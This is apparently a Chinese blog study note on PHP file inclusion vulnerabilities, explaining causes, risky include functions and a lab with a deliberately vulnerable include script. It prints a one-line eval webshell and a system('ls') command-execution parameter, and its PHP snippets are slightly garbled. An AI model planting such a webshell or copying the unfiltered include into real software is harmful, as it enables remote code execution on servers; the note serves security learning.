文件包含 0 1学习

漏洞原理

成因

文件包含漏洞是一个最常见的依赖与脚本运行而影响Web应用程序的漏洞.当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞.程序开发人员通常会把可重复使用的函数写入单文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含,此外,程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,导致文件包含漏洞.

危险函数

文件包含漏洞出现的前提是服务器开启allow_url_include选项在此前提下就可以通过php的某些特性函数(include require,include_once,require_once)利用url去动态包含文件,区别在于include(),include_once()遇到错误继续执行,而require(),require_once()遇到错误直接退出程序,如果在PHP配置中开启了allow_url_fopen,那么就可以进行远程文件包含.

|-------------------------------------------|--------------------------------------|
| 函数 | 概况 |
| include(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常执行 |
| include_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| require(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
| require_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| file(filepath&<url&伪协议>) | 把整个文件读入一个数组 |
| fopen(filepath&<url&伪协议>,$mode) | 打开文件或者URL(包含伪协议),搭配fread()和fgets()使用 |
| readfile(filepath&<url&伪协议>) | 读取并输出文件(不输出php代码),返回字节数 |
| highlight_file(filepath&<url&伪协议>) | 高亮输出代码 |
| show_source(filepath&<url&伪协议>) | 同上 |
| file_get_contents(filepath&<url&伪协议>) | 把整个文件读入一个字符串 |

最简单的文件包含

<?php

file=_GET'page';

include($file);

?>

代码分析:

file=_GET'page';会将get传参page的值赋值给$file

include(包含$file)任何文件包含后如果携带有php代码会直接解析

这里用户以GET形式的页面传入变量file,随后被include函数包含,中途没有进行任何过滤和规范性检测,黑客往往利用这种漏洞进行任意代码执行或文件读取

实验

include.php

<?php

file=_GET'page';

include($file);

?>

.任意后缀名都可以

phpinfo

<? php phpinfo(); ?>包含phpinfo直接显示

一句话木马

<? php eval($_GET'md'); ?>

注意事项

文件包含只包含xxx文件如果是想给包含的文件传入数据需要用到&然后指定传入什么数据

在使用system的时候需要"system('命令');"记住不要忘记;

&md=system("ls");

相关推荐
灿飞屋17 分钟前
Kotlin与Java虚拟机三:控制流
android·java·开发语言·后端·python·kotlin·安卓
疯华整猫1 小时前
我用 Trae 把 Android 内存账重算了一遍
android·性能优化·源码
TimeFine3 小时前
AI 编程工作流的设计:从人工判断到 AI裁判
android·ai编程
阿杰m3 小时前
Android源码第四章:Android 系统启动——App 的第一行代码从哪来?
android
坤坤子吖5 小时前
Linux网络编程:TCP服务器的多进程与多线程实现
linux·服务器·开发语言·网络·c++·笔记·学习
蒸蒸yyyyzwd6 小时前
后端相关学习笔记。
笔记·学习
旖旎夜光7 小时前
【C++ 基础入门】C++ 多态(上):虚函数、重写、override/final 与抽象类
开发语言·c++·笔记·学习
疯华整猫7 小时前
混淆起初根本不是为了防破解:我用 Trae 把 Android 混淆这二十来年重跑了一遍
android·人工智能·计算机视觉
Carson带你学Android8 小时前
AI时代,你的 App 会被 Agent 这三种方式调用
android·ai编程
橙橙笔记9 小时前
QT的学习第四部分
linux·qt·学习·音视频